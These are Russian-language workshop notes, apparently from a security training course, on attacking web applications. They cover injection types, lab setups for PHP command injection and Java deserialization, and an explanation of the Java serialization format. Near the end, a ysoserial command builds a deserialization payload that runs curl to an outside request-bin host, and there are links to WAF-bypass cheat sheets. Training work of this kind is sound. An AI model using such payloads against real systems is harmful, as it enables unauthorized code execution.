Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save ilyar/3b6791662721275675669f7a84a4fa18 to your computer and use it in GitHub Desktop.
Save ilyar/3b6791662721275675669f7a84a4fa18 to your computer and use it in GitHub Desktop.
Самые эффективные атаки на веб-приложения origin https://hackmd.io/7QGe2cu4QLeNU1Z87GQFMw?view

Самые эффективные атаки на веб-приложения

Ожидания от workshop'a

Общаемся 2 часа с перерывом на 15 минут
Моя задача рассказать об интересных атаках и объяснить как научиться их проводить
Первый час будет рассказ об атаках на веб приложения
Второй час будет демонстрацией практического применения атак

Будет сложно? - Да, будет Будет больно? - Сначала нет, потом да Будет полезно? - Конечно, да

ПО для подготовки

Код приложения

Код простого приложения: https://dropmefiles.com/9CSzp

Код сложного приложения: https://dropmefiles.com/k2y7t

Обо мне

Egor Bogomolov Security specialist, Application security expert

My skills

  • Анализ защищенности веб-приложений (BlackBox, GrayBox, WhiteBox)
  • Анализ защищенности мобильных приложений Android, iOS (BlackBox, GrayBox, WhiteBox)
  • Анализ защищенности беспроводных сетей
  • Проведение атак на сотрудников компаний с применением методов социальной инженерии
  • Разработка задач и проведение CTF турниров
  • Работа с инфраструктурой (docker / docker-compose)
  • Анализ кода (PHP, Python, Java, JS)
  • Безопасность Windows / Linux
  • Разработка инструментов автоматизации процессов анализ защищенности

Certificates

Offensive Security Certified Professional (OSCP)

Links

Telegram: @empty_jack Telegram Channel: @YAH_Channel E-mail: empty.jack@yandex.ru Corp: e.bogomolov@hackeru.com

Work experience

Positive Technologies | InfoSec.ru | Bi.Zone | Wallarm | HackerU

HackerU

  • Программы разрабатываются с учетом образовательного опыта, накопленного в 13-ти странах мира на протяжении двух десятков лет.
  • Ядро экспертизы - мировой опыт Израиля - лидера в вопросах борьбы с киберпреступностью
  • Обучение проводят эксперты, работающие в крупнейших российских и зарубежных IT компаниях.
  • Миссия HackerU — сократить дефицит специалистов в области информационных технологий, кибербезопасности и открыть талантливым людям путь к высокому заработку и мобильности.

Современные веб-приложения

Из чего состоят?

  1. Клиентская часть
  2. Серверная часть
  3. Хранилище данных
  4. Прочие компоненты

Компоненты современных веб-приложений

Клиентская часть Серверная часть Хранение данных Другие компоненты
Electron Nginx Files System Reverse-Proxy
JavaScript Apache MySQL Load Balancer
TypeScript Apache Tomcat PostgreSQL Proxy Server
ReactJS Microsoft IIS mongoDB Cache Server
Redux Gunicorn Oracle WebSocket
AngularJS uWSGI IBM DB 2 Web Application Firewall
Vue.js Java Microsoft SQL Server
jQuery Python SQLite
PHP Redis
NodeJs Memcached
C# Neo4j
Go Tarantool
RubyOnRails XML
YAML

Уязвимости

"В компьютерной безопасности термин «уязвимость» (англ. vulnerability) используется для обозначения недостатка в системе, используя который, можно намеренно нарушить её целостность и вызвать неправильную работу." - Wiki

"Компьютерная атака - целенаправленное несанкционированное воздействие на информацию, на ресурс автоматизированной информационной системы или получение несанкционированного доступа к ним с применением программных или программно-аппаратных средств." - Wiki

Самые эффективные атаки

Какая атака будет самой эффективной? (Которая позволит захватить полное управление над всеми компонентами системы)

Самые популярные уязвимости и угрозы

Вопрос: Какие уязвимости могут к такому результату привести?

Атаки на уязвимости инъекции

Отличное описание данного вида инъекций: https://cwe.mitre.org/data/definitions/74.html

Разбор уязвимостей инъекции с примерами и формализацией: https://owasp.org/www-community/Injection_Theory

Разновидность контекстов в которые может происходить инъекция:

  • SQL запросы;
  • LDAP запросы;
  • Интерпретаторы команд операционной системы;
  • Программный код;
  • XML документы;
  • HTML документы;
  • JSON структуры;
  • HTTP заголовки;
  • Пути файлов;
  • URL;
  • Разнообразные скриптовые языки (Expression languages);
  • Протоколы обмена данными;
  • ...

Практика

Нас ждет: Проработка двух примеров атак (простого и сложного) на уязвимые веб-приложения, разработанные на языках PHP и Java.

Первый пример (Простой)

Язык программирования: PHP

Уязвимость: инъекция команд

Код приложения: https://dropmefiles.com/9CSzp

Запуск (в папке с кодом):

docker-compose up

Второй пример (Сложный)

Язык: Java

Уязвимость: инъекция объектов и атаки на десериализацию

Код приложения: https://dropmefiles.com/k2y7t

Запуск (С использованием Docker Hub):

docker run -p 8090:8090 greendog/wv_java

Thx to @GrrrDog (Взято с: https://github.com/GrrrDog/ZeroNights-WebVillage-2017/tree/master/javadeser)

Пояснения к сложному примеру

Сериализация (Serialization) — это процесс, который переводит объект в последовательность байтов, по которой затем его можно полностью восстановить.

Подробнее о процессе сериализации: https://habr.com/ru/post/60317/

Пример класса:

import java.io.Serializable;

class TestSerial implements Serializable {
  public byte count = 0;
  public byte version = 100;
}

Пример сериализованного объекта из класса:

AC ED 00 05 73 72 00 0A 53 65 72 69 61 6C 54 65
73 74 A0 0C 34 00 FE B1 DD F9 02 00 02 42 00 05
63 6F 75 6E 74 42 00 07 76 65 72 73 69 6F 6E 78
70 00 64

Давайте рассмотрим, что собой представляет каждый байт в сериализованном объекте. В начале идёт информация о протоколе сериализации:

  • AC ED: STREAM_MAGIC. Говорит о том, что используется протокол сериализации.
  • 00 05: STREAM_VERSION. Версия сериализации.
  • 0x73: TC_OBJECT. Обозначение нового объекта.

На первом шаге алгоритм сериализации записывает описание класса ассоциированного с объектом. В примере был сериализован объект класса TestSerial, следовательно алгоритм начал записывать описание класса TestSerial.

  • 0x72: TC_CLASSDESC. Обозначение нового класса.
  • 00 0A: Длина имени класса.
  • 53 65 72 69 61 6c 54 65 73 74: TestSerial, имя класса.
  • A0 0C 34 00 FE B1 DD F9: SerialVersionUID, идентификатор класса.
  • 0x02: Различные флаги. Этот специфический флаг говорит о том, что объект поддерживает сериализацию.
  • 00 02: Число полей в классе.

Теперь алгоритм записывает поле byte version = 100;.

  • 0x42: Код типа поля. 42 это «B», которое закреплено за Byte.
  • 00 05: Длина имени поля.
  • 63 6F 75 6E 74 42: count, имя поля.

Затем алгоритм записывает следующее поле, byte version = 100; и заканчивает описание полей класса.

  • 0x42: Код типа поля.
  • 00 07: Длина имени поля.
  • 76 65 72 73 69 6F 6E: version, имя поля.
  • 0x78: TC_ENDBLOCKDATA, конец опционального блока данных для объекта.
  • 0x70: TC_NULL, обозначает то что больше нет суперклассов, потому что мы достигли верха иерархии классов.

До этого алгоритм сериализации записывал описание классов ассоциированных с объектом. Теперь будут записаны фактические данные ассоциированные с объектом.

  • 00: Значение поля count - 0
  • 64: Значение поля Version - 100

The end.

Атаки десериализации: https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html

Еще больше про атаки десериализации: https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet

Генерация эксплойтов: https://github.com/frohoff/ysoserial (Для работы необходим JRE или JDK)

Эксплуатация десериализации довольно сложна, так как готовые эксплойты редко работают без изменений или настроек базового кода эксплойта.

Команда для генерации эксплойта при помощи ysoserial для определенного нами случая:

java -jar ysoserial.jar CommonsCollections1 'curl https://end0tza2akqhv.x.pipedream.net/' | base64

Misc

JSON etc poheck:

https://github.com/mbechler/marshalsec

Request Bin

http://requestbin.net/
http://requestbin.com/

CyberChef:

https://gchq.github.io/CyberChef/

WAF Bypass:

https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment